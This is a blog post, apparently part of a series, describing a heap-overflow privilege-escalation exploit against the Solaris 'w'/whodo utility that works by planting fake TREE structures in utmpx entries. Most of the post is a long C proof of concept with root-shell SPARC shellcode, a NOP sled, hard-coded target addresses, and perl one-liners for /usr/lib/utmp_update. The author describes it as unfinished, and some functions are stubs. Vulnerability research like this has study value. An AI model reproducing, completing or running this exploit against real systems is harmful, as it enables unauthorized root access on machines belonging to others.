Possible Circumvention — Pt. 14
In t_delete
/* make op the root of the tree */
if (PARENT(op))
t_splay(op);
make the parent point to another entry before in the heap…
this is a entry/shellcode starter..
entry/shellcode (pp) starter format:
SIZE(PP) is the first 8 bytes of shellcode,
which will have to jump to another entry before/after it which is more full of shellcode.. This jumping may have to occur through > 2 entries..
PARENT is NULL HOPEFULLY.. see if it can be placed in such a way that LEFT(PP) == tp [tp is the child] and PARENT is NULL.
This can be done at ut_tv.tv_sec and going downwards (see d4.c)
p[0x44] = 0xde p[0x45] = 0xad p[0x46] = 0xbe p[0x47] = 0xef p[0x48] = 0x0 p[0x49] = 0x8 p[0x4a] = 0xde p[0x4b] = 0xad p[0x4c] = 0xbe p[0x4d] = 0xef p[0x4e] = 0x0 p[0x4f] = 0x0 p[0x50] = 0xde p[0x51] = 0xad p[0x52] = 0xbe p[0x53] = 0x1f
LEFT can be assigned to TP where it says 0xdeadbeef
t_splay is called
…
…
Long story short, I figured it out. Heap-based execution is possible in this 32-bit application, I haven’t yet discovered the puzzle piece for 64-bit application. :|
I had to find an interesting way to work through the t_delete() function. I also messed with t_splay() first but it wasn’t fruitful because it overwrites a TREE structure’s size field which is a NONO. You can’t have an asm instruction for the size field because it “breaks” something about the chunk size incompatibility… So I found a crucial stage if parent == NULL && left logic (that’s summarized, not the actual liner in the code), that gets me the ability to over-write a !SIZE member of the TREE structure, exactly a place I can begin execution from..
…
.
I’ve also been working around the clock on bringing up my C-based exploit. It’s stack-execution-based. :D
Here’s a current snippet (lol)..
/* This is Bazz's PoC of the CVE-Blah-Blah-Blah of the w/whodo flaw!! <3 */ #include <sys/wait.h> // copied from w #include <stdio.h> #include <strings.h> #include <string.h> #include <stdarg.h> #include <stdlib.h> #include <ctype.h> #include <fcntl.h> #include <time.h> #include <errno.h> #include <sys/types.h> #include <utmpx.h> #include <sys/stat.h> #include <dirent.h> #include <procfs.h> /* /proc header file */ #include <locale.h> #include <unistd.h> #include <sys/loadavg.h> #include <limits.h> // // my own includes #include <sys/types.h> #include <assert.h> #define ERR (-1) /* The program can be broken into a couple sections so far : 1) ARGV builder to w.. Builds the argument to 'w' invocation so that there is a sweet amount of space to return to into the sack 2) UTMPX FuckING WITH SHIT! */ /* ARGV supplement to 'W' # first char cannot be a number (as arg to w) printf "AAAA" perl -e 'print "\xa4\x1c\x40\x11\x20\xbf\xff\xff"x50000' cat asmshell7.bin # execute @ 0xffbee008 */ #define COOL_NOP "\xa4\x1c\x40\x11\x20\xbf\xff\xff" // asmshell7.bin, located only on LIFE right now // // char setreuid_code[]= "\x90\x1d\xc0\x17" "\x92\x1d\xc0\x17" "\x82\x10\x20\xca" "\x91\xd0\x20\x08"; char gimme_root_shell[] = "\x11\x0b\xd8\x9a" "\x90\x12\x21\x6e\xd0\x23\xa0\x54\x11\x0b\xdc\xda\xd0\x23\xa0\x58" "\x11\x0b\x5c\xc0\xd0\x23\xa0\x5c\xc0\x23\xa0\x60\x90\x03\xa0\x54" "\xd0\x23\xa0\x48\x90\x03\xa0\x5c\xd0\x23\xa0\x4c\xc0\x23\xa0\x50" "\x90\x03\xa0\x54\x92\x03\xa0\x48\x94\x1b\x40\x0d\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\x40\x0d\x82\x10\x20\x01\x91\xd0\x20\x08"; // be global, since we'll be calling the child exec many times // potentially, who cares char argv_buf[(50000*8)+4+96+1]; // 96 is sizeof gimme_root_shell, 4 for "AAAA" // this will build the argv supply and return a pointer to it :) char * build_argv_supplement() { int i=0; char *p; bzero(argv_buf, (50000*8)+4+96+1); p = argv_buf; // first characters cannot be numbers so.. fill it with some A *(p++) = 'A'; *(p++) = 'A'; *(p++) = 'A'; *(p++) = 'A'; for (i=0; i < 50000; i++) { strcpy(p, COOL_NOP); p+=8; } strcpy (p, setreuid_code); p += strlen(setreuid_code); strcpy (p, gimme_root_shell); return argv_buf; } /* NEED MANDATORY A STRING BUILDER TO UTMP_UPDATEE */ // To-DO /* Let's talk about the string builder: /usr/lib/utmp_update `perl -e 'print "\xff\xff\xff\xf8" . "AAAA" . "\xff\x3e\xe2\x48" . "AAAA" . "\xff\xff\xff\xff" . "AAAA" . "AAAA" . "AAAA" '` `perl -e 'print "\xff\xbe\xe0\x08" '` "pts////////2" "9000" "8" "10" "1" "100000" "10000" "4" "aa" "4" "bazz" let's strip that into components. A lot of that perl stuff can be done programmatically in C */ #define UTMP_UPDATE_CMD_PATH "/usr/lib/utmp_update " #define LD_COOL_ADDR 0xff3ee248 char LD_COOL_ADDR_STR[] = "\xff\x3e\xe2\x48"; // this is it - 20 #define STACK_RETURN_ADDR "\xff\xbe\xe0\x08" /* Get current TTY, and use that as a component in a string builder of the argument to utmp_update. char *ttyname(int fildes); Upon successful completion, ttyname() and ttyname_r() return a pointer to a string. Otherwise, a null pointer is returned and errno is set to indicate the error */ char *ttyn; // my tty name's number // i.e. /dev/pts/2, ttyn = "2" craft_fake_tree_utmpx_entry(struct utmpx *utp); char * getfree_stackreturnaddr_id(); // THIS IS IMPORTANT!! <3 #define W_HEAPBUF_BASEADDR 0x30770 // This can be checked by debugging the program (copy it into home dir) // and checking the return of malloc() /* There are 3 different kind of UTMPX entries this program makes 1) Pre-entry -- a filler entry to ensure that the TREE struct entry is aligned on an WORD-size boundary (8 bytes on 32-bit OS) 2) Fake TREE struct entry: 'nuff said' Not really. This entry's ID field IS the target address, 32-bit TREE STRUCT ------------------ LL LL LL LL AA AA AA AA TP TP TP TP AA AA AA AA FF FF FF FF AA AA AA AA AA AA AA AA AA AA AA AA SP SP SP SP AA AA AA AA AA AA AA AA AA AA AA AA LL : lowest 2 bits must not be set. AA : Not important I'm not explaining TP and SP cause I already figured it out and forgot. See Shellcoder's Handbook. Long story short: TP points to LD.so function pointer and SP points to Stack return address 3) Overflowed Heap chunk entry -- this just has some pointers back to the fake TREE struct entry. */ // could be STACK SPACE, could be HEAP SPACE.. IONNO // in this PoC it's STACK SPACE // TREE struct ID field must be consolidated, // create a range to consolidate against: #define TARGET_MIN 0xffbba000 #define TARGET_MAX 0xffbeff00 // only care about multiples of 4 (each instruction is 4 bytes) // and I want how many bytes to use so i divide by 8, a bit for every // entry #define STACK_TABLE_SIZE (((TARGET_MAX - TARGET_MIN) / 4) / 8) // // stack_table[STACK_TABLE_SIZE]; // representing instructions entries from // 0xffb0a000 - 0xffbeff00 #define UTMPX_ENTRY_SIZE sizeof (struct utmpx) struct stat gstatbuf; char *prog; // keep track of which utmpx entries are "taken" // every bit represents //ie ENTRY "AAAA" = 0x41414141 // I can allocate a table space 32*32*32*32 bytes wide // to represent all combinations of 4 bytes.. //0x01 should set bit 0 in the table// // since the byte will be needed anyways, let's be reflecting // 0x01 will be bit 1 // so just divide by 8 to find the byte index.. // modulus by 8 to get the bit index //char table[32*32*32*32]; //char table[256][256][256][32]; //0x20000000 bytes = 512 MB // DAMN TATS TOO MUCH!! Let's lower the bitspace down to save memory.. // if disregard the first byte we get 2MB size.. // how about half the bitspace.. #define UPPER_LIMIT 16 char table[UPPER_LIMIT][256][256][32]; // this table will take 32 MB.. Not bad.. /* this table reflects entries that I will use in my attack If the UTMPX file already has certain entries.. I need to take that into account because UTMPX never appends to the file when the entry already exists.. but appending is necessary to overflow the heap */ /* if the First character of the ID is not in our bitspace, ignore it, it is not part of the attack vector */ /* Reflects the ID[4] field "AAAA" look at them like address bits but how much does each one affect the whole? */ #define A0 (1 << 0) #define A1 (1 << 5) // * 32 #define A2 (1 << (5+8)) // * 32 #define A3 (1 << (5+8+8)) // * 32 /* let's say the value is 0x00000041 0x41 / 8 = 8 0x41 % 8 = 1 table[8] |= 1 << 1 what if it was 0x00000141 */ time_t utmpx_last_access_time=0; static char pts_prefix[] = "pts///"; char * getfree_stackreturnaddr_id() { static char addr_str[5]; int i; uint8_t bit_index; bzero (addr_str, 5); for (i=0; i < STACK_TABLE_SIZE; i++) { for (bit_index=0; bit_index < 8; bit_index++) { if ( (stack_table[i] & (1 << bit_index)) == 0 ) { uint32_t free_stack_addr = TARGET_MIN + (i * 32) + (bit_index * 4) ; uint32_t *pi = (uint32_t *)&addr_str[0]; *pi = free_stack_addr; // mark the entry taken now on stack_table[i] |= (1 << bit_index); return addr_str; // its OK, addr_str is static } } } return NULL; } #define GENERIC_PID 9000 #define GENERIC_TYPE DEAD_PROCESS // it has to be 08.. there's nothin GENERIC ABOUT it!! #define GENERIC_TERM 10 #define GENERIC_EXITSTATUS 1 #define GENERIC_XTIME 100000 #define GENERIC_TIME_USEC 10000 #define GENERIC_SESSION 4 #define GENERIC_PAD0 0xaaaa #define GENERIC_PAD1 0xbbbb #define GENERIC_PAD2 0xcccc #define GENERIC_PAD3 0xdddd #define GENERIC_PAD4 0xeeee #define GENERIC_SYSLEN 4 #define GENERIC_HOST "bazz" // static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" // \"10000\" \"4\" \"aa\" \"4\" \"bazz\""; assign_generics(struct utmpx *utxp) { char *cp; // LINE cp = utxp->ut_line; strcpy (cp, pts_prefix); // global cp += strlen(pts_prefix); strcpy (cp, ttyn); // global utxp->ut_pid = GENERIC_PID; utxp->ut_type = GENERIC_TYPE; utxp->ut_exit.e_termination = GENERIC_TERM; utxp->ut_exit.e_exit = GENERIC_EXITSTATUS; utxp->ut_xtime = GENERIC_XTIME; utxp->ut_tv.tv_usec = GENERIC_TIME_USEC; utxp->ut_session = GENERIC_SESSION; utxp->pad[0] = GENERIC_PAD0; utxp->pad[1] = GENERIC_PAD1; utxp->pad[2] = GENERIC_PAD2; utxp->pad[3] = GENERIC_PAD3; utxp->pad[4] = GENERIC_PAD4; utxp->ut_syslen = GENERIC_SYSLEN; strcpy(utxp->ut_host, GENERIC_HOST); } craft_fake_tree_utmpx_entry(struct utmpx *utp) { char *free_stack_id; char *cp; // char pointer generic // INSPIRATION: /*static char pts[] = "pts///"; static char phrase1[] = "/usr/lib/utmp_update `perl -e 'print \"\xff\xff\xff\xf8\" . \"AAAA\" . \""; // phrase 2 is the LD_COOL_ADDR_STR static char phrase3[] = "\" . \"AAAA\" . \"\xff\xff\xff\xff\" . \"AAAA\" . \"AAAA\" . \"AAAA\" '` "; static char phrase4[] = "`perl -e 'print \"\xff\xbe\xef\x08\" '` \"pts///"; // ttynum static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" \"10000\" \"4\" \"aa\" \"4\" \"bazz\"";*/ bzero (utp, UTMPX_ENTRY_SIZE); // NAME cp = utp->ut_name; strcpy (cp, "\xff\xff\xff\xf8XXXX" ); cp += 8; strcpy (cp, LD_COOL_ADDR_STR); cp += strlen(LD_COOL_ADDR_STR); strcpy (cp, "AAAA\xff\xff\xff\xffXXXXBBBBCCCC"); cp += 20; // ID if ( (free_stack_id = getfree_stackreturnaddr_id()) == NULL) { fprintf(stderr, "OUT OF FREE STACK SPACE!!?!? QUITTING\n"); exit(1); } strcpy (utp->ut_id, free_stack_id); // TAKES CARE OF THE REST assign_generics(utp); } utmp_update_C_style() { struct utmpx *utp, ut; reset_utmpx_file_for_querying(); while ( (utp = getutxent()) != NULL ); craft_fake_tree_utmpx_entry(&ut); } char * string_builder_for_utmp_update_FAKE_TREE() { static char utmp_update_buf[2048]; // I could update UTMPX through the API // but I'm not in that mindset!! <3 char *p; static char pts_prefix[] = "pts///"; static char phrase1[] = "/usr/lib/utmp_update `perl -e 'print \"\xff\xff\xff\xf8\" . \"AAAA\" . \""; // phrase 2 is the LD_COOL_ADDR_STR static char phrase3[] = "\" . \"AAAA\" . \"\xff\xff\xff\xff\" . \"AAAA\" . \"AAAA\" . \"AAAA\" '` "; static char phrase4[] = "`perl -e 'print \"\xff\xbe\xef\x08\" '` \"pts///"; // ttynum static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" \"10000\" \"4\" \"aa\" \"4\" \"bazz\""; bzero(utmp_update_buf, 2048); p = utmp_update_buf; strcpy(p, phrase1); // space included ;) p += strlen(phrase1); strcpy(p, LD_COOL_ADDR_STR); p += strlen(LD_COOL_ADDR_STR); strcpy(p, phrase3); p += strlen(phrase3); strcpy(p, phrase4); p += strlen(phrase4); strcpy(p, ttyn); p += strlen(ttyn); strcpy(p, phrase6); ///usr/lib/utmp_update `perl -e 'print "\xff\xff\xff\xf8" . "AAAA" . "\xff\x3e\xe2\x48" . "AAAA" . "\xff\xff\xff\xff" . "AAAA" . "AAAA" . "AAAA" '` `perl -e 'print "\xff\xbe\xef\x08" '` "pts////////2" "9000" "8" "10" "1" "100000" "10000" "4" "aa" "4" "bazz" // I could be all pretty RIGHT HERE, and have a TREE data structure. // But I'm going to be RAW and not have it. /*strcpy (p, "\xff\xff\xff\xf8XXXX"); p+= 8; *(p++) = LD_COOL_ADDR_STR[0]; *(p++) = LD_COOL_ADDR_STR[1]; *(p++) = LD_COOL_ADDR_STR[2]; *(p++) = LD_COOL_ADDR_STR[3]; //strcpy(p, LD_COOL_ADDR); //p+= strlen(LD_COOL_ADDR); //int *intp = (uint32_t *) p; //*intp = LD_COOL_ADDR; //p+=4; strcpy(p, "XXXX\xff\xff\xff\xff"); p+=8;*/ // This stack ADDR needs to be dynamically asserted /* there needs to be a stack_return_addr variable and a check in the table for an available address don't forget tell the table it's now taken, after verifying by searching thru the UTMPX entries (just keep 2 copies until we get NULL, then look in the last copy for a signature) */ /**(p++) = ' '; // ID strcpy(p, STACK_RETURN_ADDR); p+=4; // *(p++) = ' '; strcpy(p, pts); p+=strlen(pts); //*(p++) = *ttyn; strcpy (p, ttyn); p += strlen(ttyn); *(p++) = ' '; //"9000" strcpy (p, "9000 8 10 1 100000 10000 4 aa 4 bazz");*/ return utmp_update_buf; } // Somewhere above we will get the ID field storeID(char *id) { //char buf[5]; uint8_t four,three,two,one; uint8_t bit_index=0; // ignore ID[0] if it's not in our range if ((uint8_t)*id > (UPPER_LIMIT-1) ) { // UNLESS IT'S IN THE DESIRED STACK SPACE // how to add ID to the table uint32_t *awesome = (uint32_t *)id; if (*awesome >= TARGET_MIN && *awesome < TARGET_MAX) { *awesome -= TARGET_MIN; if (*awesome % 4) { // FUCK YOU!!! return; } else { uint32_t divider = *awesome / 32; uint8_t bit_shift = ((*awesome % 32) / 4); stack_table[divider] |= (1 << bit_shift); return; } } else return; } four = (uint8_t)*(id++); three = (uint8_t)*(id++); two = (uint8_t)*(id++); one = (uint8_t)*id / 8; bit_index = 1 << ((uint8_t)*id % 8); table[four][three][two][one] |= bit_index; } // // Function prototypes add_pre_entry(); // // // test_argv() { printf ("%s", build_argv_supplement()); } uint8_t alarm_went_off=0; mysignal(int p) { alarm_went_off=1; fprintf (stderr,"."); signal(SIGALRM, mysignal); alarm(1); } reset_utmpx_file_for_querying() { utmpxname(UTMPX_FILE); setutxent(); } init_table() { struct utmpx *p; //don't forget to bzero @init bzero (stack_table, STACK_TABLE_SIZE); bzero (table, UPPER_LIMIT*256*256*32); reset_utmpx_file_for_querying(); while ( (p = getutxent()) != NULL ) { storeID(p->ut_id); } endutxent(); } test_table() { signal(SIGALRM, mysignal); //init_table(); uint16_t four=1,three=1,two=1,one=1; uint8_t bit_index=1; static char pc[5]; uint32_t *intp; int i; fprintf(stderr, "Searching the generic ID table"); alarm(1); for (four=1; four < UPPER_LIMIT; four++) { for (three=1; three < 256; three++) { for (two=1; two < 256; two++) { bit_index=1; for (one=0; one < 32; one++) { for (; bit_index < 8; bit_index++) { if (table[four][three][two][one] & (1 << bit_index)) { alarm(0); // found a freebie pc[0] = four; pc[1] = three; pc[2] = two; pc[3] = (one * 8) + bit_index; pc[4] = 0; if (alarm_went_off) { printf ("\n"); alarm_went_off=0; } if ( (!isprint(pc[0])) || (!isprint(pc[1])) || (!isprint(pc[2])) || (!isprint(pc[3])) ) { intp = (uint32_t *)&pc[0]; printf ("ID: 0x%08x\n", *intp); } else printf ("ID: %s\n", pc); alarm(1); } } // I started with bit_index=1 to skip the NULL byte case bit_index=0; // when one=0 } } } } fprintf (stderr, "Now testing stack table\n"); fprintf (stderr, "ADDRESSES OCCUPIED:\n"); alarm(1); for (i=0; i < STACK_TABLE_SIZE; i++) { for (bit_index=0; bit_index < 8; bit_index++) { if (stack_table[i] & (1 << bit_index)) { alarm (0); if (alarm_went_off) { printf ("\n"); alarm_went_off=0; } printf("0x%08x\n", TARGET_MIN + (i * 8 * 4) + (bit_index * 4) ); alarm(1); } } } } test_fake_tree_string_builder() { char *p = string_builder_for_utmp_update_FAKE_TREE(); printf( "%s",p); fprintf(stderr, "return code is %d\n", WEXITSTATUS(system(p))); } dotests() { char c; fprintf(stderr, "1) Test ARGV builder\n"); fprintf(stderr, "2) Test TABLE ID Entries\n"); fprintf(stderr, "3) Test string builder for utmp_update fake tree structure\n"); fprintf(stderr, "4) Test Craft of Fake TREE UTMPX Entry\n"); scanf("%c", &c); if (c == '1') { test_argv(); return 1; } else if (c == '2') { test_table(); return 1; } else if (c == '3') { test_fake_tree_string_builder(); return 1; } else if (c == '4') { struct utmpx ut; craft_fake_tree_utmpx_entry(&ut); // then write it !! reset_utmpx_file_for_querying(); while ( getutxent() != NULL ); // not sure if I HAVE to do this if ( pututxline(&ut) ) { fprintf(stderr, "I think it was sucessful.. Do an 'od -X /var/adm/utmpx' \ to find out"); } return 1; } return 0; } int processclargs(int argc, char *argv[]) { int c, linecount; while( --argc > 0 && (*++argv)[0] == '-') while(c = *++argv[0]) //bug to investigate: what are the side effects of c == *++argv[0], which was a bug before the fix. switch (c) { case 't': return 1; break; default: printf("illegal option %c\n", c); argc = 0; break; } //if( argc != 1) //printf("Usage: tail [-n #]\n"); return 0; } // need function protos stat_utmpx(); align_utmpx(); size_t gsizeof_utmpx_file; int entries; uint32_t TREE_base_addr; necessary_init() { init_table(); // WARNING. THIS CODE ASSUMES the TTY PATH is /dev/pts/**** // definitely gotta strip tty name ttyn = ttyname(0); ttyn = strrchr(ttyn, '/'); ttyn++; //ttyn += 5; // remove "/dev/" //ttyn += 4; // remove "pts/" // I just want the number :D fprintf (stderr, "tty number is %s\n", ttyn); } main(int argc, char **argv) { prog = argv[0]; necessary_init(); if (processclargs(argc,argv)) { return dotests(); } align_utmpx(); } // should do a faster routine during actual "fork parent watch for utmpx access" int stat_utmpx(struct stat *statbuf) { if (stat(UTMPX_FILE, statbuf) == ERR) { (void) fprintf(stderr, "%s: stat error of %s: %s\n", prog, UTMPX_FILE, strerror(errno)); exit(1); } utmpx_last_access_time = statbuf->st_atime; // The above should really be called again before forking off an instance // of 'w' // and don't forget to sleep(2) in the child before exec'ing to ensure the access time is accurate // atime is only precise to the second.. fprintf (stderr, "statbuf.st_size = %d\n", statbuf->st_size); fprintf (stderr, "sizeof struct futmpx = 0x%x\n", sizeof(struct futmpx)); entries = statbuf->st_size / sizeof (struct futmpx); fprintf (stderr, "NumEntries = 0x%x\n", entries); return sizeof (struct utmpx) * entries; } // this would be for heap-based execution method //int smart_build_prefix=0; align_utmpx() { int tmp; /* The W_HEAPBUF_BASEADDR +gsizeof_utmpx_file will be the base address of the TREE structure It MUST be 8-byte aligned if it's not aligned, we simply add a pre-entry to get on TRACK. */ gsizeof_utmpx_file = stat_utmpx(&gstatbuf); TREE_base_addr = gsizeof_utmpx_file + W_HEAPBUF_BASEADDR; if ( (tmp = TREE_base_addr % 8)) { if (tmp == 4) { int newsize=0; // FOR STACK BASED EXECUTION WE WANT IT == 0, but for HEAP-BASED EXECUTION, w // want it at 4... //smart_build_prefix=4; fprintf (stderr, "Adding pre-entry for 8-byte alignment\n"); add_pre_entry(); // VERIFYING ENTRY SIZE newsize = stat_utmpx(&gstatbuf); assert ( (newsize == (gsizeof_utmpx_file + UTMPX_ENTRY_SIZE)) && !(newsize % 8) ); TREE_base_addr = newsize; } // NOTE ON HEAP_BASED_EXECUTION with smart alignment: // Well, in this case, only have 32-4 bytes to work with in ut_name[] // I will some sort of index_variable which will SMART_BUILD the entry // // Later do some sort of namelen(32) - smart_build_prefix = room to work with /**/ else { fprintf(stderr, "WTF?!?!?!"); exit(9); } } // NOW update the TREE_base_addr to reflect new entry fprintf (stderr, "TREE_base_addr = 0x%x\n", TREE_base_addr); assert (!(TREE_base_addr % 8)); // ADD FAKE TREE STRUCT ENTRY system(string_builder_for_utmp_update_FAKE_TREE()); } // Because in my case the ID is the TARGET address :\ // make sure, don't waste a pre-entry on valuable TARGET SPACE int is_addr_in_target_space(uint32_t *addr) { if (*addr < TARGET_MIN || *addr > TARGET_MAX) return 0; else return 1; } // everything starts at 1 cause I'm not fucking with null bytes find_free_id_not_stack(char *p) { uint16_t four=1,three=1,two=1,one=1; uint8_t bit_index=1; for (four=1; four < UPPER_LIMIT; four++) { for (three=1; three < 256; three++) { for (two=1; two < 256; two++) { bit_index=1; for (one=0; one < 32; one++) { for (; bit_index < 8; bit_index++) { if (table[four][three][two][one] & (1 << bit_index) == 0) { // found a freebie p[0] = four; p[1] = three; p[2] = two; p[3] = (one * 8) + bit_index; uint32_t *addr = (uint32_t *)p; if (!is_addr_in_target_space(addr)) // address pass intentional { table[four][three][two][one] |= (1 << bit_index); return; } } } // I started with bit_index=1 to skip the NULL byte case bit_index=0; // when one=0, but after that (one > 0) the bit_index @ 0 will reflect // values beyond 0 so it's OK } } } } } add_utmpx_entry(char *name, char *id) { } add_generic_utmpx_entry() { } add_pre_entry() { char id[5]; bzero(id, 5); // find a free_id and make sure it's not in our // stack_space! find_free_id_not_stack(id); add_generic_utmpx_entry(); // That function will wrap around something more powerful }
Leave a Reply